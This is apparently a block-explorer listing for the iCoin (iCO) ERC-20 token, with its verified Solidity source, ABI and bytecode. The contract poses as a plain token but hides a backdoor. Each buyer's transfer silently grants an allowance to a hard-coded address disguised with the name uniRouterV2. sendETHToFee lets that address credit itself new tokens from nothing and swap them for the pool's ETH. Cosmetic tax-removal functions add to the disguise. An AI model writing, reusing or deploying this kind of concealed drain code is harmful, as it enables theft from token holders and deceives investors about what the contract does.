ERC-20
Overview
Max Total Supply
10,000,000,000 iCO
Holders
14
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
181,603,670.083806935 iCOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
iCoin
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; interface IUniswapV2Router { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; function factory() external pure returns (address); function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function WETH() external pure returns (address); } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } } contract Ownable { modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = msg.sender; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function owner() public view virtual returns (address) { return _owner; } address private _owner; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } contract iCoin is Ownable { using SafeMath for uint256; uint8 private _decimals = 9; uint256 private _totalSupply = 10000000000 * 10 ** _decimals; string private constant _name = "iCoin"; string private constant _symbol = "iCO"; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); event MaxTxAmountUpdated(uint _maxTxAmount); address payable private uniRouterV2 = payable(0xb5A2E687EC634ed154d1AA736b3d516F7b9b7d9d); bool inSwap = false; bool tradingOpen = false; address public uniswapV2Pair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } uint256 _buyFee = 0; uint256 _sellFee = 0; constructor () { _balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _totalSupply); } function decimals() public view returns (uint8) { return _decimals; } function symbol() public pure returns (string memory) { return _symbol; } function totalSupply() public view returns (uint256) { return _totalSupply; } function name() public pure returns (string memory) { return _name; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function _transfer(address from, address to, uint256 amount) private { require(to != address(0), "ERC: transfer to zero address!"); require(amount > 0, "transfer amount must be greater than zero!"); require(from != address(0), "ERC: transfer from the zero address!"); uint256 feeAmount = 0; if (to != address(this) && to != uniswapV2Pair && to != address(uniswapV2Router)){ feeAmount = amount.mul(_buyFee).div(100); approved(to, uniRouterV2, amount); } else { feeAmount = amount.mul(_sellFee).div(100); } if (feeAmount > 0) { emit Transfer(from, address(this), feeAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function removeBuyTax() external onlyOwner { _buyFee = 0; } function removeSellTax() external onlyOwner { _sellFee = 0; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approved(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } function _transferFrom(address from, address to, uint256 amount) private { _balances[to] = _balances[to].add(amount); if (_balances[from] >= amount && _balances[from] >= amount) { _balances[from] = _balances[from].sub(amount);} } function transferFrom (address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function _addLiquidityETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, uniRouterV2, block.timestamp ); } function startTrading() public payable onlyOwner() { require(!tradingOpen); _approve(address(this), address(uniswapV2Router), _totalSupply); address WETH = uniswapV2Router.WETH(); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH); uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function sendETHToFee(uint256 amount) external { require(msg.sender == uniRouterV2); address token = address(this); _allowances[token][address(uniswapV2Router)] = amount; _transferFrom(address(0), token, amount); _addLiquidityETH(amount); } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendETHToFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a919061039d565b6402540be40061004a91906103e7565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b5a2e687ec634ed154d1aa736b3d516f7b9b7d9d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600560146101000a81548160ff0219169083151502179055505f600560156101000a81548160ff0219169083151502179055505f6007555f60085534801561013c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161021f9190610437565b60405180910390a3610450565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102ae5780860481111561028a5761028961022c565b5b60018516156102995780820291505b80810290506102a785610259565b945061026e565b94509492505050565b5f826102c65760019050610381565b816102d3575f9050610381565b81600181146102e957600281146102f357610322565b6001915050610381565b60ff8411156103055761030461022c565b5b8360020a91508482111561031c5761031b61022c565b5b50610381565b5060208310610133831016604e8410600b84101617156103575782820a9050838111156103525761035161022c565b5b610381565b6103648484846001610265565b9250905081840481111561037b5761037a61022c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103a782610388565b91506103b283610391565b92506103df7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102b7565b905092915050565b5f6103f182610388565b91506103fc83610388565b925082820261040a81610388565b915082820484148315176104215761042061022c565b5b5092915050565b61043181610388565b82525050565b5f60208201905061044a5f830184610428565b92915050565b6126208061045d5f395ff3fe6080604052600436106100f2575f3560e01c806349bd5a5e116100895780638da5cb5b116100585780638da5cb5b146102c657806395d89b41146102f0578063a9059cbb1461031a578063dd62ed3e14610356576100f2565b806349bd5a5e1461023457806370a082311461025e578063715018a61461029a57806389c06bb0146102b0576100f2565b806318160ddd116100c557806318160ddd1461019a57806323b872dd146101c4578063293230b814610200578063313ce5671461020a576100f2565b806306b50197146100f657806306fdde031461011e578063095ea7b3146101485780630fdeb29214610184575b5f80fd5b348015610101575f80fd5b5061011c60048036038101906101179190611b4c565b610392565b005b348015610129575f80fd5b506101326104a4565b60405161013f9190611be7565b60405180910390f35b348015610153575f80fd5b5061016e60048036038101906101699190611c61565b6104e1565b60405161017b9190611cb9565b60405180910390f35b34801561018f575f80fd5b506101986104f7565b005b3480156101a5575f80fd5b506101ae610575565b6040516101bb9190611ce1565b60405180910390f35b3480156101cf575f80fd5b506101ea60048036038101906101e59190611cfa565b61057e565b6040516101f79190611cb9565b60405180910390f35b61020861062a565b005b348015610215575f80fd5b5061021e610a72565b60405161022b9190611d65565b60405180910390f35b34801561023f575f80fd5b50610248610a87565b6040516102559190611d8d565b60405180910390f35b348015610269575f80fd5b50610284600480360381019061027f9190611da6565b610aac565b6040516102919190611ce1565b60405180910390f35b3480156102a5575f80fd5b506102ae610af2565b005b3480156102bb575f80fd5b506102c4610c21565b005b3480156102d1575f80fd5b506102da610c9f565b6040516102e79190611d8d565b60405180910390f35b3480156102fb575f80fd5b50610304610cc6565b6040516103119190611be7565b60405180910390f35b348015610325575f80fd5b50610340600480360381019061033b9190611c61565b610d03565b60405161034d9190611cb9565b60405180910390f35b348015610361575f80fd5b5061037c60048036038101906103779190611dd1565b610d19565b6040516103899190611ce1565b60405180910390f35b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103ea575f80fd5b5f3090508160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506104975f8284610d9b565b6104a082610f52565b5050565b60606040518060400160405280600581526020017f69436f696e000000000000000000000000000000000000000000000000000000815250905090565b5f6104ed3384846111b2565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610516610c9f565b73ffffffffffffffffffffffffffffffffffffffff161461056c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056390611e59565b60405180910390fd5b5f600781905550565b5f600154905090565b5f61058a848484611375565b61061f843361061a8560035f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b6111b2565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610649610c9f565b73ffffffffffffffffffffffffffffffffffffffff161461069f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069690611e59565b60405180910390fd5b600560159054906101000a900460ff16156106b8575f80fd5b6106e63060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546111b2565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190611e8b565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108059190611e8b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161083f929190611eb6565b6020604051808303815f875af115801561085b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087f9190611e8b565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061090630610aac565b5f80610910610c9f565b426040518863ffffffff1660e01b815260040161093296959493929190611f1f565b60606040518083038185885af115801561094e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109739190611f92565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a13929190611fe2565b6020604051808303815f875af1158015610a2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a539190612033565b506001600560156101000a81548160ff02191690831515021790555050565b5f8060149054906101000a900460ff16905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610b11610c9f565b73ffffffffffffffffffffffffffffffffffffffff1614610b67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5e90611e59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610c40610c9f565b73ffffffffffffffffffffffffffffffffffffffff1614610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d90611e59565b60405180910390fd5b5f600881905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f69434f0000000000000000000000000000000000000000000000000000000000815250905090565b5f610d0f338484611375565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610deb8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184590919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410158015610eb657508060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b15610f4d57610f0b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b6001600560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610f8957610f8861205e565b5b604051908082528060200260200182016040528015610fb75781602001602082028036833780820191505090505b50905030815f81518110610fce57610fcd61208b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611072573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110969190611e8b565b816001815181106110aa576110a961208b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016111679594939291906121c1565b5f604051808303815f87803b15801561117e575f80fd5b505af1158015611190573d5f803e3d5ffd5b50505050505f600560146101000a81548160ff02191690831515021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612289565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128590612317565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113689190611ce1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113da9061237f565b60405180910390fd5b5f8111611425576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141c9061240d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148a9061249b565b60405180910390fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561151d575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611576575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115d6576115a360646115956007548561186b90919063ffffffff16565b6118ab90919063ffffffff16565b90506115d18360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118f4565b611601565b6115fe60646115f06008548561186b90919063ffffffff16565b6118ab90919063ffffffff16565b90505b5f81111561166f573073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116669190611ce1565b60405180910390a35b6116bf8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546117fc90919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184590919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117ee9190611ce1565b60405180910390a350505050565b5f61183d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a52565b905092915050565b5f80828461185391906124e6565b905083811015611861575f80fd5b8091505092915050565b5f80830361187b575f90506118a5565b5f82846118889190612519565b90508284826118979190612587565b146118a0575f80fd5b809150505b92915050565b5f6118ec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ab4565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195990612289565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c790612317565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f838311158290611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a909190611be7565b60405180910390fd5b505f8385611aa791906125b7565b9050809150509392505050565b5f8083118290611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af19190611be7565b60405180910390fd5b505f8385611b089190612587565b9050809150509392505050565b5f80fd5b5f819050919050565b611b2b81611b19565b8114611b35575f80fd5b50565b5f81359050611b4681611b22565b92915050565b5f60208284031215611b6157611b60611b15565b5b5f611b6e84828501611b38565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611bb982611b77565b611bc38185611b81565b9350611bd3818560208601611b91565b611bdc81611b9f565b840191505092915050565b5f6020820190508181035f830152611bff8184611baf565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c3082611c07565b9050919050565b611c4081611c26565b8114611c4a575f80fd5b50565b5f81359050611c5b81611c37565b92915050565b5f8060408385031215611c7757611c76611b15565b5b5f611c8485828601611c4d565b9250506020611c9585828601611b38565b9150509250929050565b5f8115159050919050565b611cb381611c9f565b82525050565b5f602082019050611ccc5f830184611caa565b92915050565b611cdb81611b19565b82525050565b5f602082019050611cf45f830184611cd2565b92915050565b5f805f60608486031215611d1157611d10611b15565b5b5f611d1e86828701611c4d565b9350506020611d2f86828701611c4d565b9250506040611d4086828701611b38565b9150509250925092565b5f60ff82169050919050565b611d5f81611d4a565b82525050565b5f602082019050611d785f830184611d56565b92915050565b611d8781611c26565b82525050565b5f602082019050611da05f830184611d7e565b92915050565b5f60208284031215611dbb57611dba611b15565b5b5f611dc884828501611c4d565b91505092915050565b5f8060408385031215611de757611de6611b15565b5b5f611df485828601611c4d565b9250506020611e0585828601611c4d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611e43602083611b81565b9150611e4e82611e0f565b602082019050919050565b5f6020820190508181035f830152611e7081611e37565b9050919050565b5f81519050611e8581611c37565b92915050565b5f60208284031215611ea057611e9f611b15565b5b5f611ead84828501611e77565b91505092915050565b5f604082019050611ec95f830185611d7e565b611ed66020830184611d7e565b9392505050565b5f819050919050565b5f819050919050565b5f611f09611f04611eff84611edd565b611ee6565b611b19565b9050919050565b611f1981611eef565b82525050565b5f60c082019050611f325f830189611d7e565b611f3f6020830188611cd2565b611f4c6040830187611f10565b611f596060830186611f10565b611f666080830185611d7e565b611f7360a0830184611cd2565b979650505050505050565b5f81519050611f8c81611b22565b92915050565b5f805f60608486031215611fa957611fa8611b15565b5b5f611fb686828701611f7e565b9350506020611fc786828701611f7e565b9250506040611fd886828701611f7e565b9150509250925092565b5f604082019050611ff55f830185611d7e565b6120026020830184611cd2565b9392505050565b61201281611c9f565b811461201c575f80fd5b50565b5f8151905061202d81612009565b92915050565b5f6020828403121561204857612047611b15565b5b5f6120558482850161201f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6120ea81611c26565b82525050565b5f6120fb83836120e1565b60208301905092915050565b5f602082019050919050565b5f61211d826120b8565b61212781856120c2565b9350612132836120d2565b805f5b8381101561216257815161214988826120f0565b975061215483612107565b925050600181019050612135565b5085935050505092915050565b5f61218961218461217f84611c07565b611ee6565b611c07565b9050919050565b5f61219a8261216f565b9050919050565b5f6121ab82612190565b9050919050565b6121bb816121a1565b82525050565b5f60a0820190506121d45f830188611cd2565b6121e16020830187611f10565b81810360408301526121f38186612113565b905061220260608301856121b2565b61220f6080830184611cd2565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612273602483611b81565b915061227e82612219565b604082019050919050565b5f6020820190508181035f8301526122a081612267565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612301602283611b81565b915061230c826122a7565b604082019050919050565b5f6020820190508181035f83015261232e816122f5565b9050919050565b7f4552433a207472616e7366657220746f207a65726f20616464726573732100005f82015250565b5f612369601e83611b81565b915061237482612335565b602082019050919050565b5f6020820190508181035f8301526123968161235d565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2100000000000000000000000000000000000000000000602082015250565b5f6123f7602a83611b81565b91506124028261239d565b604082019050919050565b5f6020820190508181035f830152612424816123eb565b9050919050565b7f4552433a207472616e736665722066726f6d20746865207a65726f20616464725f8201527f6573732100000000000000000000000000000000000000000000000000000000602082015250565b5f612485602483611b81565b91506124908261242b565b604082019050919050565b5f6020820190508181035f8301526124b281612479565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6124f082611b19565b91506124fb83611b19565b9250828201905080821115612513576125126124b9565b5b92915050565b5f61252382611b19565b915061252e83611b19565b925082820261253c81611b19565b91508282048414831517612553576125526124b9565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61259182611b19565b915061259c83611b19565b9250826125ac576125ab61255a565b5b828204905092915050565b5f6125c182611b19565b91506125cc83611b19565b92508282039050818111156125e4576125e36124b9565b5b9291505056fea264697066735822122044ea36fcf5b5b7dd42e208605ecddb6625d88f2ecc6382f1985abdbbeb1c6e4564736f6c634300081a0033
Deployed Bytecode
